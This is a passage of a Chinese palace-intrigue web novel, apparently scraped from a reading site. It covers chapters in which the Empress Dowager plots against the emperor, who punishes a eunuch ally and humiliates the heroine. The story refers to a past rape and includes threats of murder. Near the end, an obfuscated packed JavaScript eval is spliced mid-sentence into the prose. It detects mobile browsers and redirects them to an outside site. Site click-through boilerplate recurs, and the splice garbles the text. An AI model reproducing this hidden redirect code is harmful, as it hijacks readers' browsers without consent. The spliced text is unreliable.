你出宫的事,哀家也曾多次奉劝皇帝,让他好生放你离开,奈何皇帝生性执拗,独断专行,不肯听哀家的话。 说去说来,还是因为他和哀家不亲近,不像三皇子,从小养在哀家膝下,什么都听哀家的。 可惜,三皇子被哀家教得太单纯,太善良,才落到如今的下场……” 太后说到伤心处,也掏出帕子擦起了眼泪。 晚余听她突然提起三皇子,心里激灵一下,直觉太后把她留下的原因,肯定和三皇子有关。 可她又不认识三皇子,太后和她说这个干什么? 她们到底意欲何为? 晚余心念转动,面上感激地向太后道谢,神情哀凄道:“太后娘娘对嫔妾的照拂,嫔妾感激不尽,只是如今木已成舟,再说什么也晚了。” “不晚!”江晚棠一把抓住了她的手,“只要妹妹还想出宫,什么时候都不晚。” 这一次,晚余没有躲开她,只是语气仍旧疏离:“你到底想说什么?” 本小章还未完,请点击下一页继续阅读后面精彩内容!江晚棠盯着她的眼睛,像是从她眼里看到了某种希望,小声道:“晚余,你先告诉姐姐,你恨不恨皇上?” 晚余嗤笑一声:“你说呢?” “有多恨?”江晚棠又问。 晚余没有给她正面回答,只是警惕地反问:“你到底想干什么?” “我想和你联手,扳倒皇上。”江晚棠用力握住她的手,“好妹妹,不管咱们从前有什么过结,现在都应该同仇敌忾。 他夺走了你的清白,生生拆散了你和沈小侯爷,他同样也囚禁了我的夫婿,让我一日日地守着活寡。 我希望你能和我联手,把晋王殿下救出来,等将来晋王殿下登基后,我就让他给你和沈小侯爷赐婚,让你们有情人终成眷属,你说好不好?” 晚余其实已经隐约猜到她要干什么,可她就这样毫不遮掩地说出来,还是让晚余一阵心惊。 听她的语气,这应该是一个筹谋了很久的计划。 太后就这样在一旁听着,可见也是这个计划的参与者。 那她们为什么现在才找上她? 她以前是祁让的司寝女官,要下手也不是没有机会。 她们为什么不早点说,非要等到她被祁让临幸之后才说? 是因为她以前对祁让的恨还不够深吗? 因为不够深,所以不敢轻易相信她,现在,知道她已经被祁让逼入了绝境,对祁让的恨达到了顶点,就来拉她入伙? 那么,在此期间,她们就一直等待观望吗? 她们会不会暗中做一些事,来加深她对祁让的恨? 长安说,齐嫔有可能是被人逼迫的。 逼迫她的人,会是太后吗? 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第121章 世上再没有人比我更想他死 晚余越想越心惊,没想到这个一直在祁让面前小心谨慎的太后,暗中居然在谋划着扳倒祁让。 她当然希望祁让能被扳倒,她甚至恨不得亲手杀了祁让。 可是,这件事既然有江晚棠参与,是不是说明江连海也参与其中? 她恨透了他们,难道现在却要和这两个罪魁祸首联手吗? 就算他们现在信任她,她也不信任他们。 他们已经卖了她一次,如果计划失败,他们肯定会毫不手软地再卖她一次。 可她如果不答应,太后会放心地让她带着这个天大的秘密走出慈宁宫吗? 她若答应得太爽快,太后照样也会不放心,认为她只是想尽快离开。 晚余左思右想,在这温暖如春的暖阁里,后背却出了一层冷汗。 她看着太后慈祥的笑脸,以及江晚棠殷切的目光,许久,才缓缓道:“你们想要我具体做什么?” 江晚棠和太后对视了一眼。太后微微点头,她才敢开口: “晋王殿下已经被关在撷芳殿五年了,皇上从不允许任何人探视,包括我和太后都没有见过他。 我们目前想要你做的,就是想法子去撷芳殿看一看晋王殿下是否还活着,如果活着,现在是什么状况。” 晚余闻言发出一声嗤笑:“你们都见不到,我能有什么办法?” “你有。”江晚棠急切道,“你聪明灵巧,又得皇上喜爱,只要你愿意,肯定能想到办法的,这也是你能离开皇宫最后的希望了,你难道不想摆脱那个暴君吗?” 晚余当然想,做梦都想,可这样的盟友,她不信任。 她低下头,又思索良久,认真道:“事关重大,我需要时间考虑。” 江晚棠又和太后对视了一眼。 太后说:“事关重大,你慎重考虑也是应该的,哀家给你三天时间让你想清楚,但有句话要和你提前说明。” 她脸上慈爱的笑容消失,眼神陡然变得凌厉:“无论你愿不愿意和我们结盟,这个秘密都不能向第二个人透露,否则的话,哀家随时都可以让你和沈长安徐清盏死于非命!” 晚余不自觉攥起了拳头,很想问一句齐嫔是不是你害死的? 但她深知,今日要想完好无损地走出慈宁宫,这句话是无论如何不能问的。 她捏着两手心的冷汗,起身告辞:“太后放心,不管我加不加入,我对皇上的恨都是一样的,我至多是袖手旁观,绝不会去向他告密,这世上,再没有人比我更想他死了。” “好,哀家信你!”太后微笑颔首,又恢复了那慈祥的模样,“你回去好好想想吧,三日后来给哀家请安,哀家等着你。” 晚余福了福身,告退出去。 暖阁里安静下来,太后和江晚棠都盯着她的背影,直到她转个弯消失不见,江晚棠才道:“母后觉得她会答应吗?” “她会的。”太后胸有成竹道,“为了这一刻,哀家等了她五年,现在,她所有的希望都已破灭,她也成了后宫妃嫔的公敌,除了加入咱们,她别无选择,这几日我会留意着她,她若犹豫,我就再给她加一把火。” “母后这样说,儿臣就放心了。”江晚棠殷勤地倒了一盏茶,双手捧给太后,“也不知道殿下这五年到底过得怎样,但愿咱们能早点得到他的消息。” 太后接过来浅浅抿了一口,缓缓道:“不着急,慢慢来,五年都等了,不差这一两日。” 晚余走出慈宁宫,被头顶的日光晃了眼,感觉一阵头晕眼花,手脚发软,后背都被冷汗湿透了。 幸好梅霜和紫苏就等在门外,见她出来,立刻上前扶住了她。 “别的主子娘娘早就走了,小主怎么这么久才出来,可是太后她老人家为难您了?”梅霜小声问道。 晚余浑身无力,被两人搀扶着往前走:“别瞎想,太后只是留我说了一会儿话,教了我一些规矩。” “哦。”梅霜应了一声,“小主身子不好,太后便是教规矩,就不能缓一缓吗?” “你在胡说什么?”紫苏厉声喝止她,“太后的事岂是你能置喙的,你再这样口无遮拦,早晚惹祸上身,我看你还是回掖庭待着更好。” 梅霜连忙闭了嘴:“好姐姐,你别恼,我错了,我以后再不乱说了。” 紫苏瞪了她一眼,想起昨天小主没说完的话,不禁也对梅霜产生了怀疑。 只是眼下不好多说什么,只能等到回去之后再做计较。 主仆三人一时都没了言语,默默地往咸福宫走。 半道上,雪盈突然出现,叫住了晚余。 “我听闻你来给太后请安,特地在这里等你,那天晚上,我真的不知道你和齐嫔……”她拉着晚余的手,不觉红了眼眶。 “我实在担心你,才去找胡二总管帮忙的,谁知道皇上突然就回来了,听胡二总管说你被齐嫔叫了去,他就急慌慌的去了永寿宫。 晚余,咱们姐妹一场,我最后再僭越一次叫你的名字,我这几天没日没夜的后悔,没睡过一个好觉。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!我不敢奢求你的谅解,只是想让你知道,我真不是有意的,我对你的心,天地可鉴。” 她一面说,眼泪一面像断了线的珠子似的往下掉:“我要是知道你和齐嫔认识,打死也不会去找胡二总管的,是我害你没能走成,我真是后悔死了。” “别哭,这不怪你。” 晚余对她虚弱地笑了笑,伸手帮她擦去眼泪,“就算没有那天晚上的事,皇上也没打算放我离开,你不要自责,我从来没有怪过你,反倒是我一直在连累你,要说对不起,也是我对不起你。” 雪盈哭得更凶了:“你都这样了,还来安慰我,可怜见的,你今后可如何是好,要不我去求皇上,让他把我拨到你跟前伺候吧,我也不出宫了,这辈子都留在宫里陪着你,好不好?” “不好。”晚余立刻摇头,“你别犯傻,别说这样的傻话,我已经出不去了,何苦再连累你和我一起苦熬,你就好好当你的差,到了时间就出去,咱们两个,总要有一个是幸福的。” 她想起当初要走的时候,去和雪盈道别,两人还拉了钩,说她们以后肯定会过上好日子的。 眼泪冲得眼眶酸涨难受,她抬手挡了挡,把眼泪逼回去。 “阴了这些天,冷不丁一放晴,这日头竟晃得眼睛疼,我身子不爽利,就不和你多说了,你快回去吧,有空到咸福宫陪我说说话就好。” 雪盈含泪看她,看她强忍着眼泪假装坚强,看她像没事人一样说着天气,心里别提有多难过。 只是怕被别人撞见,也不好和她多说什么,便点头道:“你去吧,我有空就去找你。” “好,那我先走了。”晚余红着眼睛转开脸。 雪盈屈膝行礼:“奴婢恭送小主。” 这一句,险些又让晚余失了控,眼泪在眼眶里打转,走得头也不回。 此时的南书房里,早有人将她被太后留下说话的事告知了祁让。 祁让面色冷沉地坐在龙案后面,手指无意识地轻叩桌面,深渊似的眼底流转着晦暗不明的情绪。 半晌,他停下手上的动作,向来人问道:“先前你说,晋王妃今早也去给太后请安了是吗?” “是。”那人躬身应答。 祁让剑眉微蹙,默然一刻,又问:“江采女被留下的时候,晋王妃走了没有?” 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第122章 朕还有一个附加条件 “晋王妃没走,目前仍在慈宁宫。”那人回道。 祁让嗯了一声,眉眼舒展开,露出些许了然的神情,像是在说果然如此。 那人见他不说话,小心翼翼地问了一句:“皇上要去瞧瞧吗?” “不必了,你们盯着就行。” “可奴才们只能在外面盯着,万一太后关起门来为难江采女,奴才们看不到,也没法出手的。” “看到了也不必出手,那是她应得的。” 祁让想到那女人宁肯罚跪到昏厥,也不肯向自己求助的倔强模样,就是一阵气血翻涌,冷下脸来,摆手道,“出去吧,继续盯着,死不了就行。” “是。” 那人应声退下,一出门,正好撞见了缓步而来的徐清盏。 两人目光相接,那人迅速低下头,装作寻常的小太监,对徐清盏弯腰行礼,道了一声:“徐掌印安好。” 徐清盏的狐狸眼微微眯起,不动声色地将他打量一眼,什么也没说,就让他走了。 孙良言眸光闪动,笑着迎上来:“掌印可是来见皇上的,咱家这就为你通传。” “有劳孙总管了。”徐清盏对他微微颔首,心里想的却是那个从没见过的小太监。 那小太监一看就是个高手,气息稳,脚步轻,眉宇间也没有寻常太监的畏缩感,应该是皇上暗中豢养的亲卫。 身为天子心腹,他以为自己已经对皇上身边所有的亲卫了如指掌,没想到皇上暗中还有一支自己所不知道的亲卫。 正是这一支自己所不知道的亲卫,导致晚余逃跑失败,在山顶被皇上抓了回来。 可见皇上心思之缜密,性情之多疑,即便对自己这样的心腹,也不能完全信任。 那时皇上应该已经察觉到他对晚余有些许不同,才会瞒着他,动用那支亲卫去跟踪晚余。 从那天起,他一直在暗中探寻那支亲卫的情况,奈何他们隐藏得太深,几乎查不到什么有用的线索。 今天这个无意间撞见的小太监,算是第一个被他看到真面目的人。 他闭了闭眼,又把那张脸在脑海里过了一遍,打算回去后让人画出来,将此人作为突破口。 “掌印,皇上叫您进去。”孙良言亲自为他打起帘子。 “多谢。” 徐清盏迈步进了书房,走到祁让对面,屈膝下跪行礼:“皇上万安,皇上让臣查的事情有眉目了,原该昨日天黑之前来向皇上禀报的,但孙大总管说皇上不得空,臣只好今日才来。” 祁让定定看他,感觉他短短两日时间变了许多。 以前他每次面圣,都是笑嘻嘻的,哪怕很要紧的事情,也会耍几句贫嘴再说话。 像今天这样严肃,并且正儿八经解释自己的行为,还是头一回。 祁让心里说不出是什么滋味,再看他那张妖孽般的美人面,都透着一种难以言传的沧桑。 昨日下午,徐清盏确实来过,他没见他。 一来是为了江晚余的事情生气,二来他还没想好要如何发落他。 他帮助江晚余欺骗他五年,即使真如沈长安所言,他和江晚余之间是清白的,他也不能轻飘飘揭过不提。 留下他的性命,便是自己这个做君上的,对他最大的仁慈。 祁让清了清嗓子,漠然开口道:“平身吧,说说你都查到了什么?” “谢皇上。”徐清盏站起来,弯着腰恭敬道,“臣提审了齐嫔身边的大宫女柑橘,以及永寿宫一干人等,得到了一个重要线索。 当天上午,曾有一个英华殿的尼姑去见齐嫔,说齐嫔托她在城外相国寺为她父亲供奉的长明灯出了些问题,两人单独说了一会儿话。 尼姑走后,齐嫔用过午饭,又单独出去了一会儿,不许任何人跟着,天黑后,就打发了柑橘把江采女叫去了永寿宫。” 江采女这三个字从他口中说出,生硬又晦涩,不知道他是不习惯,还是不愿承认,晚余已经是祁让的后宫之一。 祁让似乎也听出了他别扭的语气,眉心微微蹙了蹙,并未揭穿他。 英华殿历来是太后太妃以及太嫔们礼佛的地方,殿里常年住着几个尼姑,负责打点香火,侍奉那些年迈的太妃太嫔礼佛,日常并不往后宫走动。 祁让听徐清盏提到英华殿的尼姑,第一个想到的就是太后。 自他登基以后,宫里有儿子的太妃太嫔都被他送去皇陵为先帝守陵,剩下这些年纪大又无儿无女的,早已心如死灰,远离权势争斗。 如果还有谁不死心还想再掀起风浪的,那就只有太后了。 因为幽禁在撷芳殿的三皇子是太后一手养大的,他一天不死,太后就一天不会甘心。 祁让勾了勾唇,发出一声似有若无的嗤笑。 徐清盏观他神色,便知他已经想通了其中关节。 身为帝王,他确实有着超乎寻常的洞察力,以及敏锐的政治嗅觉,也有着足够强硬的手腕。 这样的人,很适合站在权力的中心搅动风云。 但是,他把这些手腕用在一个姑娘身上,实在太残忍,太无情。 这章没有结束,请点击下一页继续阅读!徐清盏垂下眼睫,遮住眼底的情绪,向祁让问道:“皇上能否告诉臣,您去皇陵的时候,是否接到过什么不同寻常的消息?” 祁让还是不习惯他过分恭谨的模样,默默地盯着他看了几眼才道:“朕心里已经有数,余下的你就不要再管,也不要再接着查了。” “为什么?”徐清盏诧异道,“皇上不想要一个水落石出的真相吗,不想知道究竟是谁算计了咱们所有人吗?” “朕已经不需要知道。”祁让语气淡淡,却透着凉薄,“你现在,也不配再与朕论‘咱们’,是你亲手把朕对你的信任弄丢了。” 徐清盏面色一凛,立刻跪倒在地:“臣有罪,臣欺骗了皇上,皇上要杀要剐,臣绝无怨言。” 祁让看向他的目光也渐渐变得凉薄:“朕答应了沈长安要饶你一命,但死罪可免,活罪难逃,即日起,免去你司礼监掌印和东厂提督的职务,你自己去慎刑司领五十鞭刑,再到直殿监当差去吧!” 直殿监是内廷十二监之一,日常负责皇宫内各处殿宇、廊道的日常清洁与维护,在十二监中地位较低,工作环境更为辛苦,成员多为底层宦官。 皇上让他去直殿监当差,等于是收回了他所有的权力,只让他老老实实在宫里当一个杂役,再也不能掀起任何水花。 说白了,就是再也不会信任他,重用他。 “臣遵旨,臣谢主隆恩!”徐清盏没有半分迟疑,伏身磕头谢恩。 他犯了欺君之罪,皇上能饶他一命已是格外开恩,只要能留在宫里守着晚余,做什么他都愿意。 然而,他念头刚起,祁让便伸出一根手指缓缓道:“想活命,朕还有一个附加条件。” 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第123章 除了求皇上,没有别的法子了 徐清盏心头一跳,顿时有种不好的预感。 随即就听祁让沉声道:“从今往后,不许你再与江采女有任何接触,一句话,一个眼神都不许!倘若让朕知道你们私下仍有往来,朕的手段你最清楚。” 徐清盏撑在地上的手指不自觉抠住地面,心中苦涩难言。 免职他不怕,鞭刑他也不怕,只是从今后再不许他和小鱼相见,叫他如何忍受得了? 他不禁想起昨日在城外十里长亭送别时,沈长安对他的叮嘱。 沈长安应该早就想到,他今后在宫里的日子会不好过,特地嘱咐他,不管怎样都要忍耐,忍到他打了胜仗再说。 忍不下去的时候,就想想晚余,想想他们这些年的坚持,想想如果没有他,晚余一个人在宫里是多么的孤苦无依。 就算为了晚余,也要咬牙撑下去。 因为这是他们年少的誓言,江晚余,徐清盏,沈长安,要一生一世在一起,不离不弃。 徐清盏深吸一口气,压下心中苦涩,再抬头,面上只余感恩和恭敬:“奴才领旨谢恩。” 从此后,他便是负责洒扫的杂役了,不配再自称为臣。 祁让听他这么快就改了称呼,眼底闪过晦暗不明的情绪,片刻后,摆手道:“你去吧!” “奴才告退!”徐清盏磕了个头,起身,后退三步,这才转身向外走去。 尽管身份发生了翻天覆地的变化,他仍将腰身挺得笔直,那骄傲的背影,仿佛他还是那个手握生杀大权的掌印大人。 祁让看着他颀长的身影消失在门外,怔怔地出了一会神,扬声叫孙良言进来。 “方才徐清盏过来时,可曾见到冯伦?” “见到了。”孙良言说,“他来的时候,冯伦刚好出去,两人撞了个正着。” “那就把冯伦调出京城,立刻,马上。”祁让说道。 孙良言一愣:“皇上是怕徐清盏顺藤摸瓜吗,可您免了他的职,他一个杂役,身边再无人可用。” “你太小瞧他了。”祁让不想多做解释,“照朕说的办,不要耽搁,要确保冯伦安全离京。” “是,奴才这就去办。”孙良言应声而去。 徐清盏到慎刑司领了五十鞭子,行刑太监得知是皇上的旨意,手下半点没留情,将他整个后背打得血肉模糊。 换做旁人,这一顿鞭子就能丢了性命,徐清盏硬是咬牙撑了下来,次日一早,鞭伤不再流血之后,就去了直殿监报到。 不出意外的,他分到的都是最脏最累的活。 以前他是高高在上的掌印大人,掌握着内监所有人的生死,而今突然从高空跌落,成了最下等的杂役太监,人人都跑去看稀奇,人人都恨不得踩上一脚。 徐清盏不以为意,不管有多少人看着,他都能泰然自若地干他的活。 别人刁难他,把他扫起来的枯叶扬了一地,他就默默地再扫一遍,一个字都不会多说。 仿佛他是个天生的哑巴。 晚余对此毫不知情,直到第二天,梅霜去膳房打饭,听说了此事,慌慌张张地回来告诉她:“小主,不好了,徐掌印被皇上罚去直殿监做杂役了,听说还挨了五十鞭刑,差点没死,后背都打烂了。” 晚余刚从紫苏手里接过一盏茶,闻言手一抖,茶盏落地,哗啦一声摔得粉碎。 紫苏吓一跳,立刻黑着脸呵斥梅霜:“你这丫头到底怎么回事,好歹也是在御前伺候过的,什么时候变得这样咋咋呼呼,小主现在自身都难保,你告诉她这些干什么,除了让她着急,有一丁点用处吗?” 梅霜缩了缩脖子,懊悔道:“我错了,我也是一时情急……” “一时情急,我看你是……” “行了,先别怪她了。”晚余脸色惨白地叫住紫苏,把梅霜拉到自己跟前,“到底怎么回事,你快告诉我。” 梅霜怯怯地看了紫苏一眼。 紫苏左边脸颊那道疤就像一条长长的蜈蚣,虽然抹药变淡了许多,但是一生气的时候,气血上涌,就会变成紫红色,看起来很是吓人。 所以梅霜很怕她发脾气。 “你现在知道看我眼色了,早干什么去了?”紫苏没好气道,“左右已经瞒不住,还不快一五一十告诉小主。” “哦。”梅霜应了一声,小声道,“具体的奴婢也不知道,就是听人说,皇上罚了徐掌印五十鞭刑,免去他所有的职务,将他贬去了直殿监做洒扫的杂役,直殿监那些人捧高踩低,见他失势,全都欺负他,让他干最脏最累的活。 奴婢不相信,听说他正在宝华殿打扫,特地绕了个道从那边路过,果然看到他在那里扫地,后背的伤把衣裳都染红了。” 晚余的心顿时揪成一团,针扎似的疼起来。 祁让不是答应长安会饶了他吗,怎么又给他这么重的惩罚? 如今是冬天,那么厚的衣裳,血还能把衣裳染红,可见他伤得有多严重。 他那样骄傲的一个人,高高在上,不染尘埃,如今却沦为一个最下等的杂役,被人欺辱践踏…… 晚余已经下定决心不再掉眼泪,此时此刻,泪水还是模糊了视线。 她站起身,脚步虚浮地往外走:“宝华殿是吧,我要去看他。” “小主不可。”紫苏拦住她,“奴婢知道您担心掌印,可您擅自跑去看他,叫皇上知道了,只怕又要生气,到时候再连累他受更重的惩罚,岂非得不偿失?” “是啊小主,您去不得。”梅霜抬手给了自己一巴掌,“都怪奴婢嘴贱,不该把这事告诉您,您就当没听见吧,千万别去找掌印,别再惹皇上生气。” “你已经说了,叫我如何假装没听见?”晚余哽咽道,“他是因为我才遭的罪,我难道就这样坐视不管吗?” “那,那您要不然去求求皇上。”梅霜说,“皇上对小主与众不同,只要小主开口,皇上肯定会开恩的。” 紫苏脸色一变,厉声道:“你能不能闭嘴,你明知小主不想见皇上,还给小主出这样的馊主意。” “我知道,可这不是特殊情况吗?”梅霜说,“掌印都这样了,除了去求皇上,还有别的法子吗?” 晚余怔怔地看着她,片刻后,下定了决心:“你说得对,眼下确实没有别的法子了,给我更衣吧,我这就去见皇上。” 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第124章 皇上怎么可能翻别人的牌子 眼下是晚膳时分主仆三人出了门天色已经黯淡下来像是蒙了一层灰色的轻纱将原本明亮的天光变得灰暗朦胧。 西六宫的娘娘们都在用晚膳宫女太监往来传膳为主子们准备晚膳后洗漱的热水门里门外进进出出难免会撞见她们。 晚余说自己不想被人看见不愿走西六宫中间的甬道出了门先往西再往南 宝华殿就在这条甬道的西边紫苏心里明白她还是惦记着在宝华殿打扫的徐掌印想从那边路过瞧一眼。 不过这都好半天了徐掌印未必还在绕这么一大圈子也不一定能看见。 见不到或许更好省得不必要的麻烦。 若真见到了自己少不得要警醒着些不能让小主失了控。 这样想着她又觉得不该让梅霜跟着这丫头最近很反常稍不留神就会胡言乱语。 小主说她背后另有主子也不知道是不是真的现今小主身边只有她们两个服侍的人就是想把她换掉都不能够。 小主这次主动去见皇上倘若能讨得皇上欢心让皇上给她升一升位分或者多拨两个服侍的人也是好的。 只是小主和皇上一个倔强一个心狠等下见了面还不知是什么光景。 正发愁晚余突然顿住了脚步向左边看过去。 紫苏心下一惊忙也跟着她的视线看过去。 此时的天色越发黯淡只余西边一些零散的晚霞仿佛一群玩累的孩童正意兴阑珊地各自归家 宝华殿就在那片零散的晚霞底下门口处一个清瘦颀长的身影正拖着一把大扫帚缓缓走出来。 许是受了重伤的缘故他走路的姿势很僵硬每一步都走得痛苦而忍耐。 “清盏……” 晚余忍不住叫了一声。 她声音很小怕被人听到极力在克制。 徐清盏还是听见了。 转头看到她只一瞬的呆滞便拖着扫帚迅速往回走去。 他在躲她? 晚余喉咙哽住又叫了一声“清盏”快步向他追过去。 “小主不可!”紫苏急忙拉住了她“小主隔墙有耳您要冷静。” 紫苏拉得用力晚余挣了一下没挣脱徐清盏的身影已经消失不见了。 他明明那样疼还走得那么快可见是真的在躲她。 晚余的手死死按压在心口眼泪几乎要冲出眼眶。 从那晚乾清 宫一别,他们就再也没有见过面,他难道不想见见她,不想和她说句话吗? 他不可能不想,唯一的可能,是祁让不允许。 肯定是祁让不许他见她,不许他和她说话,不许他再和她有任何交集。 她含泪四下张望,兴许此时此刻,正有人藏在暗处看着他们,只要他们说一句话,对一个眼神,就会有人去禀报祁让。 晚余仰起头,一只手蒙住眼睛,静静地缓了片刻,而后放下手,轻轻呼出一口气:“走吧! 她重又挺起腰身,像什么也没发生过一样往乾清宫走去。 乾清宫里,祁让也正在用晚膳,听宫人禀报说江采女在月华门外求见,他只是拿筷子的手顿了顿,头也不抬地说了句:“不见! 孙良言侍立一旁,小心翼翼道:“这么晚了,江采女这会子过来,兴许有什么要紧事。 祁让冷笑一声。 她能有什么要紧事。 她就算有要紧事,那要紧事也是和沈长安徐清盏有关。 若非如此,她只怕到死都不会主动来看他一眼。 以前是他昏了头,**上赶着去倒贴她。 以后他不会再那样了,他要让她知道,在紫禁城,跟皇帝对抗是什么样的下场。 孙良言见他不说话,缓了一会儿,又道:“怪冷的,皇上既然不见,奴才叫人打发江采女回去。 “不用。祁让冷冰冰道,“她愿意站就让她站着,她自己都不怕冷,你怕什么? “…… 孙良言很是无语,很想说一句我怕她晕倒了你又心疼。 话到嘴边,到底不敢说出口,讪讪地闭了嘴。 恰好这时,敬事房的人来了,捧着几个摆满了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304732|167106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绿头牌的托盘,请皇上翻牌子。 孙良言想说这不是找死吗,江采女还在外面站着,皇上怎么可能翻别人的牌子? 念头刚起,就见祁让向那几个太监招了招手。 皇上自打和江采女杠上之后,已经很久没翻牌子,敬事房的人也是抱着试试看的态度来走个过场,没想到皇上今晚突然开了窍,让他们都有点措手不及。 当下忙低头哈腰地走过去,把托盘举到头顶。 祁让眼光慵懒地看过去,修长的手指从一个个绿头牌上掠过,来回扫了几遍后,翻起了康嫔的牌子:“就她吧! “……孙良言看得嘴角直抽抽。 皇上什么意思? 他不见江采女也就算了,居然还翻了康嫔的牌子。 康嫔和江采女同住咸福宫,他这不是存心让江采女难堪吗? 可他是皇帝,他想翻谁就翻谁,有什么办法? 孙良言无奈叹气,只得吩咐人准备肩辇,晚膳后送皇上去咸福宫,又打发人去咸福宫报信,叫康嫔准备迎接圣驾。 晚余站在月华门外,听说皇上翻了康嫔的牌子,心里只觉得讽刺。 祁让不愿见她,又翻了康嫔的牌子,明显是要给她难堪。 很快,整个后宫都会知道,她巴巴的送上门来,皇上看都不看一眼,反而要去临幸和她同住一宫的康嫔。 他要让她成为整个后宫的笑话。 晚余不在乎这些,永寿宫那一晚,她就已经是整个后宫的笑话。 那一晚,祁让在里面折腾她,整个后宫的主子娘娘都在外面听着呢! 她的尊严早就被祁让糟践完了,现在,她只想用她的尊严,来换徐清盏的尊严。 祁让显然也知道她的来意,或许正是因为知道她的来意,才不肯见她。 他不会宽恕徐清盏,也不会宽恕为徐清盏求情的她。 “走吧!” 她转身离去,打算回去再想想别的办法。 这时,一个小太监叫住了她:“江采女留步!” 第125章 为了别的男人来讨好她真正的男人 晚余忙停住脚步,以为祁让改了主意要见她。 下一刻,就听小太监说:“皇上虽然不见采女,但也没让采女离开,采女还是再等等吧!” 梅霜顿时不干了:“公公这话是什么意思,皇上不见我家小主,又翻了别人的牌子,还让我家小主等什么,等着喝西北风吗?” 紫苏不想她乱说话,但她这话说得倒也没错。 皇上都已经翻了别人的牌子,还不让小主离开,这不是欺负人吗? “小主,咱们怎么办?” “还能怎么办,那就等一等吧!”晚余早已习惯祁让的无情,语气十分平静。 紫苏无奈,只得帮她拉了拉披风的兜帽,陪她在冷风里等着。 等了不知多久,一大群宫人簇拥着祁让的肩辇往这边而来。 灯笼的光亮晃晃地照过来,照亮了门口那个削瘦笔挺的身影。 祁让坐在高高的肩辇上,身穿明黄的龙袍,外面裹着厚厚的狐裘,一只手臂屈起,懒懒撑在额角。 灯笼被甬道的风吹得摇晃,男人锐利的剑眉,狭长的凤眸,高挺的鼻梁,凉薄的嘴唇,以及刀刻般的轮廓,在灯影里若隐若现,硬冷,寡情,如同这完全被暮色笼罩的寒夜。 晚余退后两步,和梅霜紫苏一起跪在地上。 肩辇从她面前走过,祁让居高临下地睨了她一眼。 那一眼,幽冷,漠然,如锋利的刀刃,落在她低垂的后脖颈上。 晚余感到一阵窒息的威压,屏住呼吸一动不动。 就在肩辇转弯的瞬间,冷冰冰的两个字随风传来:“跟上。” 这命令下得没头没脑,所有人却都知道他是在命令谁。 晚余爬起来,被梅霜和紫苏搀扶着跟了上去。 孙良言有意无意地回头看了一眼,欲言又止。 队伍穿过长长的甬道,一路上不知有多少人在探头探脑。 等到队伍进了咸福宫,消息已经像长了翅膀似的飞到了后宫的每个角落。 各宫妃嫔嘲笑晚余的同时,又都酸溜溜地想,康嫔真是走了狗屎运,皇上和江采女赌气,倒叫她捡了大便宜,这样算不算是因祸得福? 康嫔也没想到皇上会突然翻了她的牌子,虽然心里明白皇上多半是为了气江晚余,但那有什么关系? 后宫人人都想得到皇上的心,可皇上只有一颗心,怎么挤得下这许多人? 相比之下,还是得到人更为要紧,只要皇上留宿她床上,就是她的圣眷,倘若再有幸怀上身孕, 母凭子贵指日可待。 像冯贵人那样,皇上十年八辈子不去看她一回,可她肚子里有皇上的种,谁也不敢怠慢了她。 皇上子嗣单薄,将来不论她生的皇子还是公主,都能一飞冲天。 庄妃娘娘不就是因为生了嘉华公主才爬上去的吗? 别人为了争宠打破头,她只要把公主照看好,就是皇上眼里天大的功臣,兰贵妃也要给她几分面子。 康嫔这样想着,又觉得江晚余住在咸福宫也没什么不好,自己从前难得见皇上一次,她一住进来,自己见皇上的次数都增加了。 肩辇在正殿门前落下,祁让扶着孙良言的手走下来,康嫔行了礼,喜笑颜开地迎上来:“皇上冷不冷,快到屋里暖和暖和,臣妾准备了热牛乳,皇上喝一碗暖暖身子。” 她伸手去拉祁让的手,祁让却转身看向晚余:“进来伺候!” 康嫔的笑僵在脸上:“臣妾没留神,江妹妹也在呀,臣妾已经让人打点好了一切,倒也不用劳烦江妹妹服侍。” “叫她去铺床。”祁让幽幽道,“这是她的老本行。” “可是,床已经铺好了。”康嫔一脸为难。 “那就再铺一遍。”祁让说,“她铺的床睡着舒适,以前你享受不到,现在你是她的主位,理应叫她伺候,你今晚先感受一下,要是觉得她铺的好,以后让她天天给你铺。” 康嫔只得干笑两声:“那就有劳妹妹了。” 晚余低垂着头,恭敬道:“服侍皇上娘娘是嫔妾的职责。” 三人进了寝殿,祁让在窗下的炕上落了座,冷眼看着晚余把已经铺好的床单被褥都揭下来,再一样一样重新铺上去。 她比前些天更瘦了,后背只剩下薄薄的一片,像一页随时都会被风吹走的纸。 她的动作还是那样娴熟优雅,纤长白皙的手指从被褥上一寸一寸抚过,抚平上面所有的褶皱,一如这五年来的每一天,每一次。 她要是从没想过离开该多好。 这些时日的事情,要是从没发生过该多好。 他伤害了她,她自己难道就一点责任都没有吗? 她为何非要把事情闹到这样不可挽回的地步? 她一直不肯低头,今天好不容易主动去见他,却是为了别的男人。 他恨上来,真想把她扔在床上,死命的折腾一回,叫她在他身下哭泣,求饶,说她再也不敢想别的男人。 他起身向她走过去。 晚余听到动静,转头看到祁让阴沉着脸目光幽暗地向 她走过来,吓得脸色一白。 这个眼神她再熟悉不过。 那天在永寿宫,他就是用这样的眼神看着她,然后不顾她的挣扎叫喊,残暴地撕烂了她的衣裳。 晚余下意识往后退,可后面是床,她根本无路可退。 祁让是不是疯了? 这是康嫔的寝殿,康嫔还在呢! 他已经疯到这样不管不顾的地步了吗? 晚余心里一阵惶恐,随着祁让的靠近,将身子尽力往后缩。 康嫔也懵了,端起炕桌上的牛乳走了过来:“皇上,喝了牛乳再歇息吧!” 祁让像是突然惊醒,回过神,没接牛乳,目光也没从晚余脸上移开。 